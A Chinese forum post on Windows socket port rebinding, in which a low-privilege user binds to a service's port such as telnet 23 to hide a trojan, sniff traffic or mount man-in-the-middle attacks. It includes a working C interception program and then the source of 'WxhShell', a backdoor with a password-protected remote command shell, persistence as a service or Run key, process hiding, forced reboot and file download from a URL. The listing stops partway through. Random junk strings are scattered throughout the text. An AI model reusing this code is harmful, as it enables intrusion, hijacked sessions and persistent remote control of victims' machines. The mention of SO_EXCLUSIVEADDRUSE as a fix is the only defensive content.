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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oY0b8=[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1G12FV>M  
@fmp2!?6  
  saddr.sin_family = AF_INET; i0wBZ i?  
lJ=EP.T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /cx'(AT  
!y~nsy:&7x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); * bYU=RS  
2>^(&95M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]5QXiF8`  
^_\m@   
  这意味着什么?意味着可以进行如下的攻击: KG(FA  
VT4 >6u}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E"p _!!1  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p<'pqf  
k"gm;,`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -f ~1Id  
"#gKI/[qxq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  klAlS%  
&F :.V$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ; % KS?;%[  
@.a59kP8X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mD% qDKI  
ZDzG8E0Sq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]?T^tJ  
V6d,}Z+"z'  
  #include >f Hu  
  #include  "O9n|B  
  #include r`sKe &  
  #include    PR!0=E*}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nb3O> &J  
  int main() x?B`p"ifS  
  { @<$m`^H  
  WORD wVersionRequested; v)O].Hd  
  DWORD ret; W0mvwYON[  
  WSADATA wsaData; n(#yGzq  
  BOOL val; YU6|/ <8  
  SOCKADDR_IN saddr; `a[fC9  
  SOCKADDR_IN scaddr; ,Nw2cv}D  
  int err; zQ,M795@EA  
  SOCKET s; I>l^lv&[+  
  SOCKET sc; W f8@ B#^{  
  int caddsize; q%q+2P>  
  HANDLE mt; .p=J_%K}0x  
  DWORD tid;   LqI&1$#  
  wVersionRequested = MAKEWORD( 2, 2 ); AU)\ lyB  
  err = WSAStartup( wVersionRequested, &wsaData ); ! jAp V  
  if ( err != 0 ) { QR(;a:  
  printf("error!WSAStartup failed!\n"); hP WP6;Z  
  return -1; QA^FP8!j  
  } /SM 7t_  
  saddr.sin_family = AF_INET; ?o6#i3k#'  
   eB9&HD:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G?b*e|@S  
OY81|N j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y=Ic<WHR  
  saddr.sin_port = htons(23); ^fO9oPM|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KwaxNb5  
  { ztHx) !  
  printf("error!socket failed!\n"); }BT0dKx  
  return -1; ](n)bF+ym  
  } y"7*u 3>"  
  val = TRUE; p`\>GWuT!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tj*0Y-F~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o[eZ"}~  
  { 9 5j`^M)Q  
  printf("error!setsockopt failed!\n"); Tr}XG  
  return -1; V>obMr^5  
  } F?FfRzZ[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; EQpF:@_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <VstnJo`Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~&<vAgy,  
;<T,W[3J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Mr4,?Z&`-d  
  { sd B(sbSF  
  ret=GetLastError(); S?JGg.)  
  printf("error!bind failed!\n"); vN_ 8qzWk  
  return -1; e, 2/3jO  
  } YZ:C9:S6X  
  listen(s,2); F/LMk8RgR  
  while(1) G `3{Q7k  
  { +!ljq~%  
  caddsize = sizeof(scaddr); n,s 7!z/  
  //接受连接请求 { Dm@_&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b?,%M^9\`  
  if(sc!=INVALID_SOCKET) C,mfA%63  
  { ..BP-N)V)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [r Nd7-j <  
  if(mt==NULL) t~4Cf])  
  { -'D ~nd${  
  printf("Thread Creat Failed!\n"); w8$> 2  
  break; `bV&n!Y_  
  } .)WEg|D0Ku  
  } @T L|\T  
  CloseHandle(mt); .w{Y3,dd>  
  } X}x\n\Z  
  closesocket(s); g2==`f!i  
  WSACleanup(); KTot40osj  
  return 0; e9/Mjq\  
  }   >)diXe}j  
  DWORD WINAPI ClientThread(LPVOID lpParam) P{n*X  
  { 6;s[dw5T  
  SOCKET ss = (SOCKET)lpParam; 2)0J@r'  
  SOCKET sc; QT!>izgc U  
  unsigned char buf[4096]; +C,/BuG  
  SOCKADDR_IN saddr;  R:Ih#2R  
  long num; F1-C8V2H  
  DWORD val; {SXSQ'=  
  DWORD ret; ^\`a-l^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b3 =Z~iLv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [MbbL  
  saddr.sin_family = AF_INET; Tjv'S <  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aqQ+A:g  
  saddr.sin_port = htons(23); q7soV(P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .$y'>O*$G  
  { BAvz @H  
  printf("error!socket failed!\n"); (@!K tW  
  return -1; [N9yW uc  
  } 0&CXR=U5  
  val = 100; zv/dj04>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]s)Y">6  
  { d8 Jf3Mo  
  ret = GetLastError(); Wuk8&P3  
  return -1;  CDuA2e  
  } *pnaj\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |`o1B;lc  
  { w8UUeF  
  ret = GetLastError(); 0&Ftx%6%  
  return -1; =)g}$r &<  
  } /|}yf/^9X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4]p#9`j  
  { ,:'JJZg@  
  printf("error!socket connect failed!\n"); ?ILjt?X8  
  closesocket(sc); nsVLgTbx  
  closesocket(ss); [dFcxzM-N  
  return -1; $%31Gk[I  
  } b.?;I7r   
  while(1) @+p(%  
  { f.aa@>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jpZq]E9`P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ' i5KRFy-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u=]*,,5<  
  num = recv(ss,buf,4096,0); coPdyw'9&  
  if(num>0) f##/-NG  
  send(sc,buf,num,0); Q_iN/F  
  else if(num==0) -}!mi V  
  break; ]yqE6Lf9  
  num = recv(sc,buf,4096,0); BaIuOZ@,  
  if(num>0) }#4Ek8nFR  
  send(ss,buf,num,0); &?1^/]'"r  
  else if(num==0) olxxs(  
  break; 8>x' . 8  
  } L1g0Dd\Ox  
  closesocket(ss); bE2O[B  
  closesocket(sc); I"3C/ pU2  
  return 0 ; NR8`nc1~  
  } m||9,z-  
%+|sbRBb  
-oUNK}>  
========================================================== OUGkam0UK  
h. ftl2>  
下边附上一个代码,,WXhSHELL }KIS_krs  
fXl2i]L(^B  
========================================================== ]sVWQj  
{~Jk(c~I  
#include "stdafx.h" w3>11bE  
cVxO\M  
#include <stdio.h> <`; {gX1  
#include <string.h> HB}rpiB  
#include <windows.h> +0Q +0:  
#include <winsock2.h> ly6zz|c5  
#include <winsvc.h> <BZC5b6  
#include <urlmon.h> oCI\yp@a  
$^?VyHXvY  
#pragma comment (lib, "Ws2_32.lib") _JNYvng m  
#pragma comment (lib, "urlmon.lib") r`EjD}2d  
F?H=2mzKbz  
#define MAX_USER   100 // 最大客户端连接数 N#e9w3Rli  
#define BUF_SOCK   200 // sock buffer U\j g X  
#define KEY_BUFF   255 // 输入 buffer lfC]!=2%~8  
aD'Ax\-  
#define REBOOT     0   // 重启 yOKzw~;0%  
#define SHUTDOWN   1   // 关机 zP2X}VLMo  
##xvuLy-6  
#define DEF_PORT   5000 // 监听端口 3Os0<1@H  
t[X^4bZd  
#define REG_LEN     16   // 注册表键长度 kAPSVTH$v  
#define SVC_LEN     80   // NT服务名长度 2;:p H3  
?f q!BV  
// 从dll定义API u|AMqS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <)(W7#Ks  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i}v.x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oS9Od8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZxT E(BQv  
J!5b~8`v  
// wxhshell配置信息 .7b%7dQ<\  
struct WSCFG { =4SXntU!e  
  int ws_port;         // 监听端口 62_k`)k  
  char ws_passstr[REG_LEN]; // 口令 =*lBJ-L  
  int ws_autoins;       // 安装标记, 1=yes 0=no X _@|+d  
  char ws_regname[REG_LEN]; // 注册表键名 "qR, V9\  
  char ws_svcname[REG_LEN]; // 服务名 S!z3$@o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2=8PA/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H2#o X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +ls`;f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dz +Dk6"R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g\.$4N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $m*Gu:#xm&  
ku]?"{Xx  
}; xYYa%PhIC  
IHd W!q  
// default Wxhshell configuration "P(obk  
struct WSCFG wscfg={DEF_PORT, K#X/j'$^  
    "xuhuanlingzhe", v)_FiY QQ6  
    1, QdQ1+*/+U  
    "Wxhshell", YMK ![ q-  
    "Wxhshell", K@cWg C  
            "WxhShell Service",  @,k5T51m  
    "Wrsky Windows CmdShell Service", U1) Zh-aR  
    "Please Input Your Password: ", (y.N-I,  
  1, S-gO  
  "http://www.wrsky.com/wxhshell.exe", {dpDQP +!  
  "Wxhshell.exe" zN]%p>,)HB  
    }; _[Imwu}  
a4 N f\7  
// 消息定义模块 $,, PF/N8c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F5/,S   
char *msg_ws_prompt="\n\r? for help\n\r#>"; Bh cp=#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5~IdWwG*w  
char *msg_ws_ext="\n\rExit."; m<>BxX  
char *msg_ws_end="\n\rQuit."; sr&W+4T  
char *msg_ws_boot="\n\rReboot..."; z rSPa\M  
char *msg_ws_poff="\n\rShutdown..."; y<Xu65  
char *msg_ws_down="\n\rSave to "; fDqT7}L  
[ fzYC'A=  
char *msg_ws_err="\n\rErr!"; -mRgB"8  
char *msg_ws_ok="\n\rOK!"; VlA]A,P}i  
;zD4 #7=  
char ExeFile[MAX_PATH]; >Q=^X3to  
int nUser = 0; 9.M'FCd~M  
HANDLE handles[MAX_USER]; R3|4|JlGR  
int OsIsNt; .|R4E  
`{Q'iydU  
SERVICE_STATUS       serviceStatus; LAf#Rco4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O=}Rp 1  
\-;f<%+  
// 函数声明 7(.Z8AO  
int Install(void); X`Q+,tx$  
int Uninstall(void); 8/dMvAB1So  
int DownloadFile(char *sURL, SOCKET wsh); eU%49 A  
int Boot(int flag); ?%Nh4+3N>  
void HideProc(void); [t fB*m5  
int GetOsVer(void); ~BJE~  
int Wxhshell(SOCKET wsl); =NC??e{  
void TalkWithClient(void *cs); *4`5&) `  
int CmdShell(SOCKET sock); ={oNY.(Q  
int StartFromService(void); ([< HFc`  
int StartWxhshell(LPSTR lpCmdLine); $B%KkD  
x$BNFb%I1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @g5y_G{SP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]&Y^  
xLoQ0rt 6  
// 数据结构和表定义 b1 w@toc  
SERVICE_TABLE_ENTRY DispatchTable[] = .aY $-Y<  
{ !KK`+ 9/  
{wscfg.ws_svcname, NTServiceMain}, c5WMN.z  
{NULL, NULL} }5oI` 9VT  
}; V)/J2-w  
~r8<|$;  
// 自我安装 0@cIj ]  
int Install(void) .4 WJk>g  
{ ( uD^_N]3  
  char svExeFile[MAX_PATH]; f2IH2^)P  
  HKEY key; Fk3(( n=  
  strcpy(svExeFile,ExeFile); <YFDS;b|  
U0j>u*yE  
// 如果是win9x系统,修改注册表设为自启动 NC-K`)  
if(!OsIsNt) { JXU ?'@QY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,k4pW&A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 70R6:  
  RegCloseKey(key); >{Hg+/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %CiF;wJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9!Mh (KtQ  
  RegCloseKey(key); $]E+E.P  
  return 0; #'s$6gT=  
    } ~KS@Ulrox  
  } 9Tt%~m^  
} [h;I)ug[o(  
else { PtW2S 1?j  
m#RJRuZ|2V  
// 如果是NT以上系统,安装为系统服务 `K.B`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !X-\;3kC0  
if (schSCManager!=0) a#r{FoU{M8  
{  J3 Q_  
  SC_HANDLE schService = CreateService B0Wf$ s^7t  
  ( x0Loid\f  
  schSCManager, lF!PiL  
  wscfg.ws_svcname, vNs%e/~vj  
  wscfg.ws_svcdisp, "V]*ov&[  
  SERVICE_ALL_ACCESS, zT,@PIC(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WC~;t4  
  SERVICE_AUTO_START, *2a"2o  
  SERVICE_ERROR_NORMAL, I&La0g_E  
  svExeFile, tf6m .  
  NULL, G:$kGzhJ  
  NULL, nA,=g'7S  
  NULL, ,R`CAf%*  
  NULL, c 1F^Gj!8  
  NULL K& ^qn&  
  ); 'M"z3j]m-,  
  if (schService!=0) $"/l*H\h  
  { >E J{ *  
  CloseServiceHandle(schService); KUZi3\p9W>  
  CloseServiceHandle(schSCManager); :Pdh##k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <7J3tn B  
  strcat(svExeFile,wscfg.ws_svcname); JL87a^ro  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WkA47+DsV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;`7~Q  
  RegCloseKey(key); }/1^Lqfnz  
  return 0; GE!nf6>Km  
    } ]ouoRlb/  
  } N+c|0  
  CloseServiceHandle(schSCManager); wea  
} jJiuq#;T3  
} X.4WVI  
qco'neR"z  
return 1; % E1r{`p  
} UDi(7c0.  
iw,uwh|L  
// 自我卸载 G^)]FwTs  
int Uninstall(void) (v/L   
{ ,Lp"Ia  
  HKEY key; ^R@)CIQ  
_D4qnb@  
if(!OsIsNt) { ZSQiQ2\)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mnM]@8^G  
  RegDeleteValue(key,wscfg.ws_regname); )?[7}(4jI  
  RegCloseKey(key); j? BL8E'   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R|qrK  
  RegDeleteValue(key,wscfg.ws_regname); [m:cO6DM,  
  RegCloseKey(key); g.9C>>tj  
  return 0; h 8UhrD<:  
  } j.Uy>ol  
} ]}g\te  
} ,V9qiu=m   
else { Jl\xE`-7  
nzaDO-2!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #VX]trh,  
if (schSCManager!=0) O6y:e #0z  
{ }XBF#BN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cF15Mm2  
  if (schService!=0) I*a@_EO  
  { TzaeE  
  if(DeleteService(schService)!=0) { e#HPU  
  CloseServiceHandle(schService); 5CK\Z'c~!  
  CloseServiceHandle(schSCManager); A_@..hX(  
  return 0; D*-  
  } yP$esDP  
  CloseServiceHandle(schService); 3'.3RKV  
  } 6NV592  
  CloseServiceHandle(schSCManager); s 7 nl  
} ZUHW*U.  
} zS;ruK%2  
k)>H=?mI  
return 1; n`Pl:L*kG  
} Q.B)?wm  
tP|/Q 5s  
// 从指定url下载文件 Gn 9oInY1  
int DownloadFile(char *sURL, SOCKET wsh) j%'2^C8  
{ ^oPFLez56  
  HRESULT hr; _=I1  
char seps[]= "/"; 'hr_g* i  
char *token; M%ecWr!tj  
char *file; !8UIyw  
char myURL[MAX_PATH]; +C!GV.q[  
char myFILE[MAX_PATH]; QYo04`Rl  
}TMO>eB'  
strcpy(myURL,sURL); N@PwC(   
  token=strtok(myURL,seps); p}pRf@(`\  
  while(token!=NULL) #>aq'47j  
  { +g?uvXC&  
    file=token; > .NLmzUX  
  token=strtok(NULL,seps); "G>d8GbIh  
  } n! 5(Z5=  
A-4;$ QSm  
GetCurrentDirectory(MAX_PATH,myFILE); +&u/R')?6r  
strcat(myFILE, "\\"); PR|z -T  
strcat(myFILE, file); ((]i}s0S  
  send(wsh,myFILE,strlen(myFILE),0); [(*Eg!?W=  
send(wsh,"...",3,0); Y(6ev o&IR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E}9wzPs  
  if(hr==S_OK) Ti)Me-g  
return 0; cu>(;=  
else }6a}8EyFP  
return 1; )@DDs(q=i  
=!SV;^-q  
} 5;KJ0N*-  
vai w*?jV  
// 系统电源模块 NL:-3W7vf  
int Boot(int flag) npzp/mcIe)  
{ xDw~n(*  
  HANDLE hToken; z**2-4 z  
  TOKEN_PRIVILEGES tkp; (mP{A(kwJ  
\ejHM}w3,  
  if(OsIsNt) { tm5{h{AM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T=YVG@fm?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '9u?lA^9$  
    tkp.PrivilegeCount = 1; _(g0$vRP~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~-vCY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L<=Dl  
if(flag==REBOOT) { A3tv'-e9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cy@R i#  
  return 0; -B-G$ii  
} ka!w\v  
else { ,!Q nh:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &=)O:Jfa  
  return 0; q n-f&R  
} X>`03?L  
  } C)j/!+nh  
  else { QBGm)h?=  
if(flag==REBOOT) { (8m_GfT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *y?6m,38V  
  return 0; 0^S$_L  
} AHn!>w,  
else { (y; 6 H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zB0*KgAn{  
  return 0; 'A5T$JV.r4  
} G?@W;o)  
} \k=dqWBr7  
}&/>v' G  
return 1; s1wlOy  
} d@ 8M_ O |  
tgG 8pL  
// win9x进程隐藏模块 8GW+:  
void HideProc(void) (rhlK} C  
{ o}QP+  
eZa7brC|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N{bg-%s10i  
  if ( hKernel != NULL ) db,?b>,EE  
  { 8<}=f4vUj5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AJ6l#j-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kw"e4 a  
    FreeLibrary(hKernel); rzHBop-8  
  } rK'Lvt@w  
.?s jr4   
return; o@gceZuk  
} #pPOQv:~  
(bv{1 7K  
// 获取操作系统版本 :@jctH~  
int GetOsVer(void) %ZD]qaU0  
{ W7 A!QS  
  OSVERSIONINFO winfo; Ox#vW6;)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G7Ck P  
  GetVersionEx(&winfo); U&6A)SW,k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (${:5W  
  return 1; -V;Y4,:c  
  else !HU$V9C  
  return 0; A^M]vk%dg  
} eY#^vB  
wipl5O@L  
// 客户端句柄模块 R.WB.FP  
int Wxhshell(SOCKET wsl) d #1& "(   
{ 40MKf/9  
  SOCKET wsh; \:Tq0|]Px  
  struct sockaddr_in client; 'z,kxra|n  
  DWORD myID; \5&Mg81  
]cP%d-x}  
  while(nUser<MAX_USER) zAM9%W2v_  
{ *w0|`[P+h  
  int nSize=sizeof(client); *(5;5r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ds+K7B$  
  if(wsh==INVALID_SOCKET) return 1; \( V1-,  
a]fFR~ OY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZKrK >X  
if(handles[nUser]==0) ?xUl_  
  closesocket(wsh); )t+pwh!8  
else kOo  Vqu  
  nUser++; T8\@CV!  
  } 8hS^8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X@[5nyILf  
iCpm^XT  
  return 0; :'%|LBc0  
} |MKR&%Na  
kJ"rRsK  
// 关闭 socket ;taZixOH  
void CloseIt(SOCKET wsh) 1@{ov!YB]  
{ 7#+Ih-&EQ  
closesocket(wsh); ~Yc~_)hD  
nUser--; M887 Q'HSi  
ExitThread(0); k-3;3Mq  
} Q8Ek}O\MC  
5@1h^w v  
// 客户端请求句柄 O,),0zcYF  
void TalkWithClient(void *cs) MOB4t|  
{ Zs/-/C|  
6_" n  
  SOCKET wsh=(SOCKET)cs; \?v&JmEU  
  char pwd[SVC_LEN]; qspGNu  
  char cmd[KEY_BUFF]; p/_W*0/i  
char chr[1]; A@|Z^T:  
int i,j; MVzj7~+  
p_BG#dRM  
  while (nUser < MAX_USER) { XGR63hXND  
KB~1]cYMp  
if(wscfg.ws_passstr) { "Cxj_V@\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 16eP7s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }2S!;swg+  
  //ZeroMemory(pwd,KEY_BUFF); 6!0NFP~b  
      i=0; <<S4l~"o  
  while(i<SVC_LEN) { cd,'37pZ  
cHr]{@7Cs  
  // 设置超时 ='D%c^;O8'  
  fd_set FdRead; bE% Hm!  
  struct timeval TimeOut; gNxv.6Pp=  
  FD_ZERO(&FdRead); >CKa?N;  
  FD_SET(wsh,&FdRead); L|APXy]>  
  TimeOut.tv_sec=8; r)>'cjx/  
  TimeOut.tv_usec=0; 9$v\D3<Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *-]k([wV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &u|t{C#0  
= .S2gO >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %LC)sSq{H  
  pwd=chr[0]; 4N= , 9  
  if(chr[0]==0xd || chr[0]==0xa) { U7fpaxc-  
  pwd=0; v,ecNuy*d  
  break; @>U9CL"  
  } |mG;?>c)  
  i++; 1f^oW[w&  
    } ,[p?u']yZz  
rkS'OC  
  // 如果是非法用户,关闭 socket =aj|auu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0e"KdsA:<U  
} U[;ECw@  
;(,GS@sP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TuCHD~rb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1 c"s+k]9  
o/ \o -kC}  
while(1) { `::j\3B&Y-  
Us "G X_  
  ZeroMemory(cmd,KEY_BUFF); #q34>}O< O  
6 T~+vT  
      // 自动支持客户端 telnet标准   1*9Yy~w  
  j=0; (AA@ sN  
  while(j<KEY_BUFF) { :, H_ e! X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Sw4{m[g  
  cmd[j]=chr[0]; 5C*Zb3VG4  
  if(chr[0]==0xa || chr[0]==0xd) { p({|=+bl  
  cmd[j]=0; !#]kzS0  
  break; }T902RL0  
  } 5r8 [ "  
  j++; G2[2y-Rv  
    } 0j;|IU\  
HWoMzp5="3  
  // 下载文件 &flcJ`  
  if(strstr(cmd,"http://")) { < :eKXH2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PTpCiiA@  
  if(DownloadFile(cmd,wsh)) T06w`'aL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2mj>,kS?c  
  else |OF3J,q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bU}!bol  
  } jj ` 0w@  
  else { T2W^4)  
/mE:2K]C  
    switch(cmd[0]) { c?xeBC1-  
  vA*NJ%&`  
  // 帮助 ZQz;EV!  
  case '?': { *sfz+8Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !5m~qet.  
    break; h*P0;V`UX  
  } +f]I7e:qp  
  // 安装 ]6=opvm  
  case 'i': { +W>tdxOh  
    if(Install()) V/OW=WCzN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R'K /\   
    else F r2 +p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,h3,& ,  
    break;  ;XYfw)  
    } 3kJSz-_M  
  // 卸载 ?aG~E  
  case 'r': { d9D*w/clMi  
    if(Uninstall()) r Z5eXew6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YRl4?}r2  
    else v Ma$JPauI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y;9K  
    break; NVC$8imip  
    } )[sSCt]  
  // 显示 wxhshell 所在路径 #@5 jOi  
  case 'p': { CA"`7<,  
    char svExeFile[MAX_PATH]; n |,}   
    strcpy(svExeFile,"\n\r"); 4P24ySy9F  
      strcat(svExeFile,ExeFile); |("5 :m  
        send(wsh,svExeFile,strlen(svExeFile),0); hW c M.  
    break; NX+ eig</-  
    } ;rF:$37^  
  // 重启 I#p-P)Q%S  
  case 'b': { )./'RE+(k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A,ao2)  
    if(Boot(REBOOT)) Q([g1?F9*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ YZi"u  
    else { 8>:2li  
    closesocket(wsh); HoM8V"8B  
    ExitThread(0); Q;1$gImFz  
    } }Ty_ } 6a5  
    break; DNM~/Oo  
    } uoBPi[nK  
  // 关机 ,%m$_wA$  
  case 'd': { eP3 itrH(  
